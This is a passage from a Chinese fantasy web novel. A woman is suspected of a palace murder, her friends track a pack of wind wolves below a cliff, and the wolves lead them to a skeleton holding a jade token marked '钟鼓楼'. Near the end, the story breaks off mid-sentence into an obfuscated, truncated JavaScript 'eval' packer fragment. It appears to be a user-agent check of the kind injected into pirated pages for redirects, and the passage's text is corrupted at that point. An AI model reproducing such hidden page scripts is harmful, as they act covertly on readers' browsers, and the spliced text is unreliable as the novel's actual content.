“这么穷啊。”傅水伤都有些同情了,“那没办法了,你去找别人吧。” 阿阳怒视她一眼。她倒知道自己求一求傅水伤的话,傅水伤多半还是会教她的。但她现在有些生气,她今日绝不求傅水伤! ——她改天再求! 阿阳愤愤走到旁边坐下去,又开开心心地看着她的刀。而她很快发现傅水伤还给她准备了一整套从小到大、由轻到重的弯刀,便不由得更开心起来。 她实在生不起什么气了,又站起来,颇为激动地抱了傅水伤一下,“水伤你发达了吗?你居然给我买刀!” “我再发达,也不会花自己银子给你买刀的。我像那种人么?”傅水伤笑着拉开马车门给她看,“去陛下库房里挑的。一文钱不花。” “哇,”阿阳看了一眼,“你把陛下的库房搬空了吧?” 她方说完这句话,便感觉到似乎有一道不善的目光看着她,让她立刻噤了声。而傅水伤更敏感一些,她立即找到目光的来源—— ——危鸣晨正看着这边。 她那眼神实在算不上开心,傅水伤便想起这皇帝耳力好的过分,恐怕是能听见。 果然危鸣晨离开时便状似无意地看着她们手中的刀,经过那马车时还风轻云淡一般地扫了一眼。 而后她轻声道:“阿澈。” 池之澈正蹲在台阶上盯着须和恒,便走到她身边去。她显然是知道危鸣晨为什么叫她——危鸣晨的目光就没有离开过那一马车的兵器。 但她决定装傻,“怎么了?陛下?” 危鸣晨的食指无意识地敲了下轮椅扶手,她声音温和,“朕记得朕说让她挑 ‘一把’ 刀。” 池之澈已有些紧张了。她看着危鸣晨眼神,不免在心里对自己九族说了声抱歉,随后装傻到底,“是啊,陛下。我带她去了。怎么了?” “回宫。”危鸣晨把目光从那马车上移开,又去看傅水伤。她还在与池之澈说话,却没看池之澈一眼,“朕许久没有好好看过京都了。你推朕回去吧。” “走着回去。” 池之澈:“……是。” 她回头让丘执玉记得看着些凌王,又对傅水伤投去一个“看我多么仗义”的眼神,便推着危鸣晨离开。 这里离皇宫虽不算近,可也说不上多远。走回去对池之澈来说更算不上什么难事。 傅水伤便想皇帝生气了也就这点后果的话,那她完全可以接受。只要不让她把刀还回去,什么都好说。 这么大个皇帝,总不至于还把赏赐要回去吧? 她高高兴兴把一车兵器带回家去,挨个试了试,一直试到了天黑。 她还是觉得刀最好。那巨斧也不错,她当然舍不得拿来砍柴,与她的大刀一起放在床头,陪着她入睡。 可第二日一大早,她就被丘执玉叫去,要她带着她的刀斧入宫,还与她说是危鸣晨特意交代。 傅水伤便都震惊了。她没想到危鸣晨真这么小气,居然真要她还回去。 还要她还她最喜欢的两个! 她十分不爽地带着刀斧进了宫,便有侍卫来接她们。那侍卫却并没有带她们去大威宫或是龙泉殿,反而将她们带到了一处宫道的墙角之下。 宫道已干干净净,再看不出丝毫厮杀过的痕迹。而那墙角下只有危鸣晨与赵得真,与她们面前一具新鲜的尸体。 这尸体胸口满是鲜血,双脚也被砍了下来。傅水伤远远地看了一眼,觉得这地方有些熟悉,那死人也有些熟悉。 而她们走近了,丘执玉便蹲下去看。她很快便说:“这人是被一把很大的刀刺穿胸口而亡,双脚则是生前被砍下来的。” 傅水伤隐约知道为什么要叫她来了。 “砍下左脚的应当也是那把很大的刀。” 她摸了摸身后很大的刀。 “砍下右脚的或许是一柄很重的巨斧。” 她又低头看了看手里很重的巨斧。 而她很快便想起来,她昨日在这里、被躺在墙角下这死人泼了一脚的水。湿透的鞋还不得不穿在脚上,她当然很不舒服,便有些不爽地看了那泼水的宫人一眼,目光还在那人脚上多停留了片刻。 傅水伤:“……” 其她人都看向她,她便努力去解释:“……真不是我杀的。” 她当然有那么一瞬间在脑中想过这画面,而眼前这人死得与她设想中全然一致。 可他爹的,她还没动手呢! 33.悬崖 她想不明白是谁这么“好心”,她不过在脑海里起了一瞬的念头,那人直接就“帮”她杀了人,还要傢祸给她。 “丘大人,你总该信我的吧?”傅水伤期待地看向丘执玉。 丘执玉却只站起身来,蹙眉看看她,并不说话。 她便又看危鸣晨与赵得真。这两人显然更不信她,目光盯着她身后那把大刀。 “……看什么啊。世上难道只有这一把刀和这一把巨斧吗?”傅水伤还想挣扎,她见池之澈与叶边舟也来了,便挥手道,“阿澈……” 池之澈却是大步跑了过来。她罕见地没有去理傅水伤,跑来后便立刻蹲下身去看那尸体。 显然她也认出了这人,便又忽地起身,一把揪住傅水伤衣领,咬牙怒目,道:“她不过是往你脚上泼了些水,又不是故意的!……即便是故意的,那也不是什么大事。你居然杀了她!” 她看起来极为愤怒,甚至已去拔自己腰间佩剑了。 那人是羽林军之人,而她是羽林军大统领。她们五年间朝夕相处,如何能不愤怒…… “阿澈。”危鸣晨出口制止,“这宫人是男的。” “什么?”池之澈没太明白,转身去问。 傅水伤也去看地上那人。他那张脸乍一看的确很难立即分出女男,而他又没留胡子没说话,傅水伤自然就默认他是个长得略为猥琐的女人了。 可原来是个男的。难怪危鸣晨她们误以为傅水伤杀人,看起来却也并没有要追究的意思。 她以为大战过后,宫里应该已没有男的了,便又看向危鸣晨,等她解释。 “他与昨日傅水伤所杀的那男人一样,刮干净胡子装成女人样子,甚至在胸口塞了东西。”赵得真开了口,“陛下已问过羽林军中与他相识之人。这人五年前就在,是个哑巴,更多的便谁都不知道了。 “——恐怕是陛下五年前打回京都时,设法混进来的先皇余孽。话都不敢说,在你羽林军里躲了五年。” 那时的羽林军中只有男人。这人或许是先假扮宫女躲过一劫,又不知如何换个身份,重新进了羽林军。 “……噢。”池之澈听完,便小心翼翼松开抓着傅水伤的手,说,“……那没事了。” 想了下,她又去把傅水伤皱巴巴的衣领抚平。 她实在很害怕自己稍后要躺在这尸体边上与他作伴。他失了双脚,而自己没了双手。她便直接躲到丘执玉身后,万分诚挚地道了歉,“对不起!水伤姐!” 傅水伤没心情理她。她看所有人好似已默认是她所为,便再次解释,“我没杀他……我难道像是那种为了些小事便杀人的人吗?” 那当然是特别像了。 否则池之澈也不会一见她与尸体在一起,连先前那些刀与斧的话都没听到,立刻便认定是她所杀。 但池之澈不敢说,她道:“那当然不是了。水伤姐你一定是一眼就看出他身份不对,才杀了他吧?” 说完她又严肃起来,道:“宫中或许还有其它这样的人,该彻查一番。” 她说着便让带她来的那侍卫去做,又与赵得真说:“京都卫军与镇国军也该查一查。” “我可不似你一般分不清女男。”赵得真习惯性地嘲讽一句,却也让人去转告朱向明了。 这些事池之澈与赵得真自然能处理好,轮不到傅水伤去管。她便继续解释她自己的,“真的不是我杀的啊。你们有谁信一信我么?” 要是她杀的她肯定就承认了,可这人自己莫名其妙死这儿,傅水伤一根手指都没动。她都没爽到,凭什么就算她头上了啊! “仙尊?”傅水伤看向叶边舟。 叶边舟便去问危鸣晨,“这人被发现时,也是样貌完好么?” 危鸣晨点头,“与先前那些一样。” “的确一样。”叶边舟又低头去看那尸首,道,“也还是满身鬼气,与赵得真同源。” “看吧,我说不是我杀的。是那神秘人。”傅水伤立刻便道,“你们不要凭空污人清白。” 说完她又觉得杀这些人于清白毫无损耗,便改口说:“你们不要凭空给人加功德。” 其她人一时没有说话。而傅水伤便盯着地上那尸体看。 她越看越觉得极为不适——她实在很厌恶这男人假扮的“女人”,便拔刀去割开他胸口衣服,又将他绑在胸口的布团挑了出来。 死成他该有的样子,看起来便舒服多了。 傅水伤把大刀背回背上,见这人胸口除了一个极大的刀伤以外,还有一些动物撕咬般的痕迹。她便问:“这是什么?” 叶边舟低头看去,道:“风狼。” 其她人也一同去看。 除了赵得真那只名为“恶牙”的幼年风狼,她们其实全都未见过风狼真貌。而这些尸体上大多都有风狼撕咬痕迹,在这离红溪谷十万八千里的地方,她们实在很难想明白。 赵得真却忽道:“京都其实有风狼……” “你是说你养的那只小狗?”她才刚一说话,傅水伤便下意识插嘴去问。 赵得真便动了动嘴唇,似是想要骂人。她倒还忍住了,只对危鸣晨道:“昨日朱将军说,京郊悬崖底下,或许有一群风狼在。” “她怎么知道?”傅水伤又问。 “我与陛下说话,有你插嘴的份儿么?”赵得真先让她闭嘴,才又去回答她的问题,“调入京都的镇国军之前便藏在悬崖下。朱将军昨日与我说,她们在那里曾发现一些很像是风狼的痕迹。” 危鸣晨轻轻点头,“那便去悬崖下找一找。” 眼下她们并无更多线索。而即便她们怀疑那神秘人或许与她们同一阵营,她们也无法对那隐藏在暗处不知目的的人不设防备。 傅水伤更是想要立刻将那人揪出来,问问她杀人就杀人,非要扣自己头上是什么意思。 “那我与仙尊一起去吧。”她道。 叶边舟点头同意。她们便依旧是将这尸首存放起来,又各自离去。 赵得真却又主动追上来,说:“我与你们一起。” “风狼会躲着人,极少有人见过它们。但它们极为在乎幼崽。”她道,“我午后带恶牙去找你们。它或许能把风狼群引出来。” 她主动帮忙让傅水伤很是惊奇。而她还未回答,赵得真便已走了,一直到午后,才抱着她的恶牙去到明镜府。 可叶边舟又不知去了哪里,丘执玉也外出做事。她来时便只看到傅水伤与阿阳。 阿阳正在抱着傅水伤大腿哀求,“你教我吧,水伤,我求你了。我以后每月发了薪水都先给你一半行么?” 傅水伤算了算,果断拒绝,“你那点儿薪水,干到一百岁也给不了多少啊。” 阿阳实在没钱,她便悲愤道:“我们这么好的交情,你难道还要收我银子?你不觉得羞耻吗?” “我们这么好的交情,你难道不应该主动多给点儿?”傅水伤反问,“穷成这样还是你比较羞耻。” “……” 傅水伤一边与阿阳说着话,一边用余光去看赵得真。 见只有她们在,而她们又在说话,赵得真便独自坐在了台阶上。她像是有些无聊,把弓箭拿出来,取出一些普通箭矢,对向远处的砖墙。 她显然控制了力道,那箭并没有穿透墙壁,只不过钉在了上面,而她又拿出另一只箭来,弯弓射出。 这箭将前一支箭竖着劈做两半,代替它留在墙上。 而赵得真便再次拔箭,不断重复着。她抱来的恶牙也不断在她和墙面之间来回奔跑,想要去追她射出的箭。 傅水伤便想这赵得真不说话的时候,看着倒与平常完全不同。只是她依旧浑身阴沉沉的气息,看一眼都觉得冷。 而阿阳也很快注意到了她。她怎么求傅水伤,傅水伤都无动于衷。阿阳便抱着刀在两人之间来回看看,忽然鼓起勇气到赵得真身边,蹲下来看着她。 “做什么?”她刚一靠近,赵得真便直接把箭对准了她。 恶牙也绕着阿阳转了一圈,又跑到傅水伤那里。而阿阳颇有些紧张,咽了咽口水,才道:“赵、赵将军,你能不能教我武功?” 她还是对赵得真极有好感,又莫名觉得赵得真比傅水伤好说话。而她顶着赵得真的箭勉强说完,又觉得自己太过直接,或许该要先拍几句马屁的。 她便又道:“赵将军我特别崇……” “不教。”赵得真上下扫她一眼,“腿还没我胳膊粗,举得动刀吗?” “哪里没你胳膊粗了?明明……”阿阳觉得她那眼神中充满了鄙夷,便立时想要证明自己。 她两只手比了下自己的小腿,又抬头去看赵得真的上臂。而后她沉默片刻,屈辱道,“……明明一样粗。” “真厉害,腿居然能和我胳膊一样粗。”赵得真又将箭指向墙面,射出去把上一支劈开,“长成这样,丘执玉虐待你?” “小时候一直流浪,没吃好饭。”阿阳有些沮丧,又很快道,“那也不是我的错啊,我练一练就好了,肯定会变粗的!” 赵得真便站起来,随手将弓递给她。她也急忙站起来去接,却险些没拿稳掉在地上。 赵得真便知她的实力了,算算她的极限,又道:“举一刻钟别掉下来,我就教你。” “真的?!”阿阳立刻举了起来,还笑道,“赵将军你人真好,你下次再造反的话,我一定追随你!” 比傅水伤好多了! “……那倒不用。”赵得真又坐下了。她招招手,道,“恶牙,过来。” 恶牙却好似更喜欢傅水伤一些,只绕着她的脚跑来跑去,全然不理赵得真。 赵得真便勾着嘴角冷笑,“这么招狗喜欢,同类之间果然更亲近。” 傅水伤莫名其妙被骂一句,啧了一声,“人家不是风狼么?我就当你夸我狼一样凶猛了。” 她看赵得真好似还想要骂人,便立刻先出声去堵着她的话,“你差不多得了啊,我难道真的砍到你了吗?” “你给我那两箭伤口都还在呢,我都没生气。”傅水伤指了指脸上,“你给我好好说话。” 赵得真看一眼她那两道对称的结痂,竟真的没再说什么。 安静了片刻,她们终于等到叶边舟回来,便都走上前去。 文武成也跟在叶边舟身边。她看起来蔫蔫的,大概是追了两天也没能追回那骗子仙尊,又累又心情极差,走路都靠着叶边舟,半个字也不说。 “那悬崖在何处?”叶边舟也不理文武成,好似她不存在一般,只与傅水伤二人说,“带我去。” 等赵得真去牵马车了,文武成才开口问:“又要去做什么啊,师姐?” 没等叶边舟回答,她又道:“别管她们的事了,我们回家吧师姐。我想回家。” “想回便自己回去。”叶边舟道。 文武成当然不想自己回去,她又问:“师姐,你来东扶到底有什么事啊?还没做完吗? 叶边舟不回答,她便自己继续说:“你嘴上说着对她们凡人间的事不感兴趣,可你只是没有主动帮忙。她们一说有什么需要你的,你立刻就屁颠颠跑过去了,你什么时候这样热心肠了……” 说着说着,她忽然直起身子,盯着叶边舟,“师姐,她们给了你多少?” 叶边舟可没有这么好心,她想恐怕东扶人给了她很大一笔,才能让她这么尽心尽责。连叶边舟都心动,那应当是很难拒绝的好东西。 见者有份,她也应该分一点的。 “一百两。”叶边舟道。 文武成谨慎追问:“一百两什么?” “银子。” 一百两银子对许多普通凡人来说,当然是很大一笔钱,恐怕许多人一辈子也挣不到。 而对她们来说……也能吃顿好的。 文武成简直失望透顶,“不过一百两你就不肯和我一起回家了?少主你真是……心系天下。” 叶边舟知道她叫少主时从来都不是夸赞,便回道:“不如你便宜,一文钱没有,也一定要跟来。” 文武成不想理她。 而赵得真已将马车赶了过来,她们便都上去。阿阳还在一旁举着弓,见她们竟好似是要走了,便喊了一声,“赵将军!” 赵得真回头去将她的弓拿走,又跳上了马车。 “一刻钟到了吗?”阿阳两条手臂都没知觉了,放下来时还控制不住地颤抖着。她却只是焦急去问,“赵将军你要教我吗?” 赵得真低头看她,很快又点头,“明日去京郊营地。” “我一定去!”阿阳便笑起来,“谢谢赵将军!” 傅水伤坐在马边上看,也跟着笑了一下。等赵得真和她的风狼上车,她便扬起马鞭,驾着车向京郊而去。 车内文武成又靠在了叶边舟身上,她见到恶牙,便一伸手抱了过去,“这是风狼么?我第一次见到风狼。” 傅水伤也转身去看,她见文武成摸着恶牙脑袋,而恶牙大概是不喜欢,便去咬她。一边咬一边汪汪大叫。 她怎么看都觉得那是只狗。 但文武成能一眼辨认出风狼,那应当没错,她便只好奇去问:“恶牙是雌狼还是雄狼?” “当然是雌狼了,风狼只有雌狼。”文武成被咬了也不在意,继续去摸它脑袋,“她叫恶牙?” “是。”赵得真好似对她刚才那句话极有兴趣,又追问道,“只有雌狼?那它们如何繁育?” “它们成年了自己就可以生下小狼啊。”文武成只说。 更多的其实她也并不很明白。风狼似乎不喜欢人类,总是躲着。它们很少袭击人,可一旦袭击了,一定要把面前的人杀个干净才好。而它们也很聪明,每次袭击总能避开修道者,文武成也只见到过这一只风狼而已,从前都只能看见狼群离开后留下的痕迹。 赵得真倒是在红溪谷远远见过几只,可她对风狼几乎是毫无了解。便继续去问:“成年后便一定会马上生育么?还是它们自己能控制?” 文武成并不知道,只能摇头。 傅水伤却是说:“应当能自己控制。成年后身体健康,想生便可以生,想什么时候生也可以。倘若怀到一半出了变故,不适合生育了,还能把胎儿吸收掉。” “我家乡就是这样。女人二十八之后,都可以自己生孩子。” 赵得真原本还仔细听着,听到最后一句却冷笑一声,只当她胡言乱语,“你又不是风狼,真把自己当恶牙同类了?人怎么可能自己就怀孕?” “我们那儿都是这样啊。”傅水伤也知道没人信。她说出来从没人信过。而她正是只道没人信才放心地随口就说。 可叶边舟与文武成却都看向了她,又在她身后对视了一眼。叶边舟很快 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她又有些失望了。她本以为是遇上了和自己一样的人,可细说了,却还是有很大差别。 而赵得真却更感兴趣了,她问:“你家乡在何处?东扶境内吗?怎么不见你回家看看?” 她看起来简直像是要跟着傅水伤回去一般。 “回不去了。”傅水伤却低声说。她似乎有些怀念,但看起来却并不伤心遗憾,“离开之后就不能再回去了。” “也不应该再想着回去了。” 她说完便安静下来,像是不想再说话了。叶边舟与文武成不住大量她,她也没有去注意。她只专心驾车,很快便带一行人到了那悬崖之上。 悬崖边已挂上了不少软梯,一眼望不到底。旁边有人守着,见赵得真带人来,她们便都没有阻拦。 恶牙一到那悬崖边上,便显得格外兴奋。它最先下了马车,在崖边跑来跑去,汪汪大叫。见其她人都只站着看它,便直接自己跳了下去。 傅水伤急忙伸手去捞,但恶牙居然在那垂直的石壁上也如履平地,爪子勾着石缝便飞速地往下跑。 “恐怕是闻到了同类的气息。这下面应当真的有风狼。”傅水伤又去问赵得真,“你这恶牙哪里来的?不是杀了人家母亲抓的吧?它会不会向它的姥姥姨姨们告状,我们一下去就有一群风狼围过来?” “我捡的。”赵得真冷哼一声,“你害怕了便留在这里。” 傅水伤便放心了。她正要沿着软梯爬下去,却又回头去对叶边舟说:“仙尊,你是不是该御剑带我们下去?” 来的时候也该御剑的,还能省些时间。可她老是忘记叶边舟真的有法术。 叶边舟便去拔剑。但她又微微一顿,好似在犹豫。 傅水伤便想起上一次请她御剑时,她也这么犹豫了一下,让傅水伤以为她根本是个不会御剑的骗子。 她便问:“仙尊犹豫什么?” 叶边舟已把剑拔出来了,她看傅水伤一眼,直言道:“我不想让你踩我的剑。” 傅水伤不满:“你慊弃我?” 叶边舟又犹豫片刻,才点头说:“是。” “……仙尊你人真好,说是之前居然还犹豫了。”赵得真在一旁嘲笑出声,傅水伤便说,“我就要踩,仙尊快些。” 她搓搓手有些期待,而叶边舟让那剑浮在悬崖边上,自己上去。等傅水伤也踩上去了,她们便直冲向下,顷刻落地。 傅水伤不过才眨了下眼而已。 “这么快?” “嗯。”叶边舟收起剑。而文武成也已带着赵得真落地。 傅水伤看看她们,忽然说:“我等不及了,仙尊。我一定要到天照宗可才可以学法术吗?或许仙尊现在就可以教我一些呢?” “不可以。”叶边舟直接拒绝了。 傅水伤便回忆了一番之前阿阳是怎么求她的,她想要现在就在叶边舟身上复刻一遍。 可朱向明却已走了过来。她一只手抓着恶牙后脖颈,扬手扔给赵得真。而后去问叶边舟,“仙尊来找崖下的风狼?” 叶边舟点头,她便带几人去看那风狼曾留下的痕迹。 她们并没有走多远,依旧是在悬崖正底下。那里有许多木头碎片,混着几块白骨与动物粪便。 朱向明先看了傅水伤一眼,才继续与叶边舟说:“十几日之前,忽然有一辆马车带着一具男尸落了下来。那时正逢大雨,丘执玉还去了京郊营地,我们本想着改日再来处理,但第二日时,那其中的尸体便被啃得干干净净,只剩下了白骨。” 叶边舟便去看那白骨上留下的牙印,点头道:“的确是风狼。” 傅水伤却轻轻咳了一声,不去看那白骨,反而去看朱向明。 她那时没想到这崖下居然有人,更没想到抛尸当时便被发现了。也幸好她杀的是第三营的人,没人追究。 朱向明见她那眼神,便哼了一声,“果然是你杀的。” “他跟踪我,想要探查明镜府动向,报给肖献南。”傅水伤解释,“我杀一杀又怎么了?” “你杀就杀了,你难道不会挖个坑埋了?随处乱扔像什么样子?”朱向明大约是经常训她底下的士兵,真生起气来让傅水伤都忍不住想要低头认错,“那时底下有人,若非躲避及时,早被砸出重伤了。” 傅水伤又咳了一下,说:“那不是躲开了吗?又没什么事……行了对不起,我以后抛尸的时候注意着点儿不乱扔行了吧?” 朱向明好似还要说什么,可赵得真怀里的恶牙突然极大声地叫了起来。 它原本便一直在叫,此时更是叫得震耳欲聋。几人便向四周看去,却什么也没能看到,便连叶边舟也未发现任何奇怪之处。 它却还一直叫着,直到一只风狼自己冒出了头。 而后很快地,茂密丛林每一颗树后,都冒出了一个狼头,更有许多从悬崖上窜了下来,爪子勾着垂直的墙壁,挂在那里盯着她们。 这风狼群规模很大,怕是能有几千只,悄无声息便将她们团团围住。 众人都纷纷拿出各自武器。恶牙也停止了叫喊。她们一时都没有动作,连声音也没有。 傅水伤却忽然走向了狼群。 那最初冒头的风狼应是头狼,体型比其它更大一些。它对着傅水伤便张嘴要咬,那血盆大口看起来能一下将傅水伤脑袋嚼碎。 “蠢货你不要命了?!快回来!”赵得真一边骂着,一边已准备要拉弓放箭。 可那只风狼却只是叼起傅水伤,放到了另一只风狼背上。 傅水伤坐好了,便说:“这就是风狼啊,我还以为是我没见过的东西,原来我只是没见过它们小时候。” “我们不管它们叫风狼。” 她低头对身下的风狼说了些什么,那风狼便朝着赵得真走去。而它走到近前了也并未做什么,只将先前被赵得真扔在脚下的恶牙叼起,又走回了狼群。 傅水伤已许多年没有见过风狼了,她极为开心,让挂在悬崖上那些也下来,全部围在她身边。 其她人却是神色各异了。赵得真更是欲言又止、止言又欲。 “你能控制风狼。”她幽幽说,“你只要让风狼带着你,就能在皇宫来去自如,羽林军也无法发现。” “而你杀完人之后,把尸首给它们吃了当谢礼。” 34.玉牌 幼年风狼一身纯白毛发,长大了却尽数化为乌黑,样子也大不相同。小时候虽说像狗,可狗与狼本就十分相似。大了却连一丝狼的影子也没有,反倒更像是黑熊。 傅水伤家乡就有这样一群“黑熊”。因行动迅疾,她们称之为嫉熊。嫉熊冬季缺少食物,有时便会去找她们。而冬季恰是她们出海捕鱼的季节,她们缺少人力,便会让嫉熊上船帮忙,返航后给它们一大兜鱼虾,让它们带回熊群。 她从小与嫉熊一起出海,年幼时甚至被嫉熊当幼崽一样叼着到处跑。她身上有嫉熊气息,即使遇见的是陌生熊群,也并不会伤害她。而她离开家乡后便再也没见过它们,本还以为这是只有那里才有的独特生灵。 如今竟在这里看见了,她自然极为高兴。她抱着身下风狼,又去摸身边另一只。一大群风狼在她身旁,她感觉自己像是回了家一般。 她正开心着,就听见了赵得真的话。 赵得真还总结一句,“那些人全都是你杀的。是么?” ……这几句话听起来真是好有道理。 风狼来去无声,刚才靠近时,连叶边舟与文武成也无法察觉。她只要能控制风狼,再加上自身武力,几乎便可以无声无息地杀死任何想杀的人。而那些死人身上的风狼痕迹也就可以解释得通了。 傅水伤低头看看围在身边任她亲近的风狼,不知道该要怎么说。 她简直自己都快要信了,好一会儿才不情不愿地勉强解释,“我控制不了它们。它们只是不伤害我罢了。我与它们说话,它们愿意听的听一听,不愿意听的,也不会理我。” “它们听得懂你说话?”赵得真一下抓到重点,反而是更加狐疑。 “它们只能大致猜一猜——恶牙对你汪汪叫,你听不懂狗话,不也能大概猜出它是饿了还是拉了?” 傅水伤刚才也只不过是指着赵得真几人,说那是自己朋友,她们没有伤害过恶牙,请风狼也不要伤害她们。 赵得真却还是不信,她将弓箭收起来,目光在傅水伤与风狼之间转动。甚至叶边舟也好似有所怀疑,默默看着她,那眼神与从前观察赵得真身上鬼气时一模一样。 “如果是我杀的,我有什么好不承认的?”傅水伤被这两人盯得极为不适。她想要不是她前两天已杀得心满意足,她现在一定要忍不住拿刀让她们闭眼,“死的那么多人,不都挺该死?倘若真是我做的,我干什么不承认?” 那两人听了,却目光不变,该怀疑的依旧怀疑。 傅水伤便更加恼火。她抬手指着赵得真,很不服气地与叶边舟说:“她之前只说了句‘如果是我做的,我又有什么好不承认的’,你怎么就信了?我说一样的话,你怎么就不信?” “她说那话时并不心虚。”叶边舟看着她的双眼,回答她,“你心虚了。” “你从哪儿看出来我心虚的?” 她自己都不知道她自己在心虚! 叶边舟:“你眨眼的速度比平时快了许多。” “我眨个眼都不行?”傅水伤也去盯着她那双眼,又重复一遍,“如果是我杀的,我又有什么好不承认的?” 这次她不仅没眨眼,她眼睛瞪得如铜铃,“现在不心虚了吧?” 叶边舟:“……” 她静静看着傅水伤,并不说话。 傅水伤便也不想说话了。她从来没这么憋屈过。以前拼命辩解说自己没杀人的时候,好歹人真是她杀的。她表面“我好冤枉你们居然污蔑我”,实则心中只想着晚饭该吃什么。 可这次不一样。这次她真的是好冤枉! 那两人盯着傅水伤,傅水伤也看着她们。她不自觉地把手伸向腰间,又伸向背后,摸了摸她的大刀。她一面想这刀太大了,不能挂在腰间,而她还未习惯去背后拔刀,一面说:“她们现在不是我朋友了,去给她们杀了。” 她是对身下风狼说的,但风狼并不理她。它只是把嘴里叼着的恶牙放下来,用力给它舔毛。 恶牙是从红溪谷带回来的,本就不属于它们这一族群,还又沾了一身人气。它看起来十分厌恶恶牙身上的气味,用力到一下便给恶牙舔掉一大撮毛发。 “看吧,它们不听我话。”傅水伤已不抱希望了,却还勉强让自己解释了一句。 她想那神秘人现在杀的固然都是该死之人,那她被冤枉就被冤枉了,的确也并不是什么大事。可谁知道那人往后还要杀谁?现在真被认定是凶手了,到哪时可便更难解释了。 然而其她人一点也不关心她的清白。叶边舟与赵得真继续怀疑。而文武成还不了解状况,也没有半点兴趣去了解。她只好奇看着风狼,还缓缓接近了那最大最威风的头狼。 朱向明见无事发生,更是直接就走开了。她本还带了人要帮几人寻觅风狼踪迹,未想到风狼这么轻易就走了出来。她便又将人带走,去做她们自己的事。 临走时还说了一句,“风狼极其聪明,它们能认出我们这里有两位仙尊。即使它们再急着解救恶牙,也应当先试探接触,而不是直接围上来,冒着被被仙尊一剑灭杀全族的风险。” “我们原本准备耗上十天半个月的,现在倒可以直接撤走了。”她扫了傅水伤一眼。 傅水伤:“……” 赵得真看她的目光更奇怪了。她简直已能从那目光里读出赵得真的想法,无非就是觉得这群风狼并非是被恶牙引来,而是受她召唤。 但她现在累了,她懒得解释,便忽略赵得真的眼神,只去问叶边舟,“我们现在找到风狼了,接下来该怎么做?” 叶边舟还不曾说话,风狼却先回答了她。 她方才问完,头狼便转身往密林深处走去。狼群也纷纷跟上。她以为风狼要回家去了,便想要跳下来。而她稍一扭身,旁边的风狼便把她顶回去,不让她离开。 “你们带我去哪儿?”傅水伤低头与那头狼说话,“我知道你们可能把我当同类,可我暂时还想当人。你们放我回家呗?” 头狼自然不能回答她。而文武成一边试着往头狼身上爬,一边说:“风狼速度很快,它们现在走得这样慢,应是故意想要带我们去什么地方。怕我们跟不上。” 叶边舟与赵得真便也跟着狼群。赵得真好似已认定风狼受傅水伤指示,直接去问她,“你要带我们去什么地方?” 傅水伤已懒得理她。她看见文武成终于坐在了头狼背上,转身得意地看她,好似是觉得背着自己的风狼更为高大,自己便赢了一般。 可头狼忽然一转头,轻轻咬着文武成胳膊,将她拽了下来,甩在地上。而它没等文武成反应过来,又立刻将叶边舟背在了背上,加速狂奔起来。 叶边舟微愣一下,才抓住了风狼厚实的毛发。而文武成却是在地上滚了一圈才站起,被狼群腾起的烟尘呛得咳嗽两声。 她抓着赵得真御剑到上空跟着,而后才怒道:“这只不过是只风狼而已,怎么也这么势利?一眼就看出师姐最厉害,只去背师姐?” “我看势利的是人。”赵得真便幽幽地说,“她想让叶仙尊带她去天照宗。” 她看着下面傅水伤,又去看周围地形。 悬崖底下是茂密丛林,三面皆为峭壁,只有一面通向大海。它们便往海边的方向跑着,一直到了丛林深处。 头狼先停了下来,其它也纷纷停下。傅水伤便与叶边舟下了地,四处去看。 这地方显然是人迹罕至,灌木荒草长得比人还要高,只有野兽们踩出的小径勉强能够立足。 “带我们来这里做什么?”傅水伤拍了拍身边的风狼。 她不过是随便拍一下,可那风狼就好像是收到了什么指示一般,立刻钻进灌木丛中,叼了什么东西出来。 文武成正带着赵得真落地,便伸手去接。但那风狼避开她,特意交到了傅水伤手里。 傅水伤拍它的手还正僵着,又更僵地把那东西接了过来。 她闭了闭眼,才去看赵得真。而赵得真那奇怪眼神简直已焊死在脸上,目光更是不离傅水伤分毫。 傅水伤:“……” 她勉强笑了下,去看手里的东西。 那是个玉牌,上面刻着“钟鼓楼”三字。这玉牌样子像是用作身份标识的腰牌,按理来说上面刻着的应是腰牌主人所属的官府或门派,比方说“明镜府”、“天照宗”。 可钟鼓楼——那只是钟鼓街上一座普普通通的高楼而已。不过是许多年前某一任皇帝为了脸面的劳民伤财之作。 “这是什么?”傅水伤翻来复去地看,也实在看不出别的,“有一个神秘组织叫做钟鼓楼?还是说就是指钟鼓街上那个钟鼓楼?” 叶边舟也接过去看。而那风狼又咬着傅水伤胳膊,将她拽进灌木丛里。傅水伤弯着腰钻进去,又很快让其她人也进去。 这里面竟还藏着一具白骨,那玉牌应当是属于他的。傅水伤看见了便要伸手去碰,但她伸出去的手被一道无形的屏障所阻拦。 其余人也弯腰钻进来,叶边舟伸手过去,稍一用力便将屏障打破。她道:“这人应是受了重伤落在这里,设下防卫结界后等待救援,却终究未能等到,便死在了这里。” “那他属于一个名为‘钟鼓楼’的组织?他会法术,难道那钟鼓楼还是个修仙门派?”傅水伤万分惊奇,“我们东扶不会还真隐藏着什么修仙门派吧?” 而赵得真盯着傅水伤。 等傅水伤被她盯得不耐烦了,她才开口,“池之澈说你前些天搬到了钟鼓街。而巡街的卫兵曾上报,称这些天有个怪人总坐在屋顶上,盯着钟鼓楼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶边舟与文武成御剑带她们回到崖底。天已快黑了,她们决定在这崖下睡一晚。这里还有之前留下的帐篷和简易的房屋,却已被拆了许多,她们要两人挤一张床。叶边舟自然选文武成,而傅水伤便与赵得真一起。 她们躺在床上,赵得真忽道:“我明日或许不能和你们一起去钟鼓楼。你和仙尊三人……” 她原本声音便不大,却又压得更低,“你不要太相信仙尊了,小心一些。” 虽说傅水伤曾要杀她,可她好似还是觉得傅水伤比叶边舟更值得信任。她道:“你今日也听到了,仙尊只收了一百两银子,便来帮我们了。她可是天照宗少主,百万两黄金都不该请得动她。” “我们原本请的是另外一个小门派的人,她路过恰好听到,便赶走那人,自己随便收了些银子跟过来了。”赵得真紧皱着眉,“她说她有事要来东扶。可她有事的话,她直接来不就好了?何必赶走别人非要来帮我们。” 傅水伤一直听着,等她说完,便笑了一声,道:“你猜仙尊能不能听到你说话?” 赵得真眉头皱得更紧了。她一个字也不再去说。 傅水伤倒还继续,对着空气去喊:“仙尊听到了吗?听到了便千里传音之类随便什么的,说一声听听。” 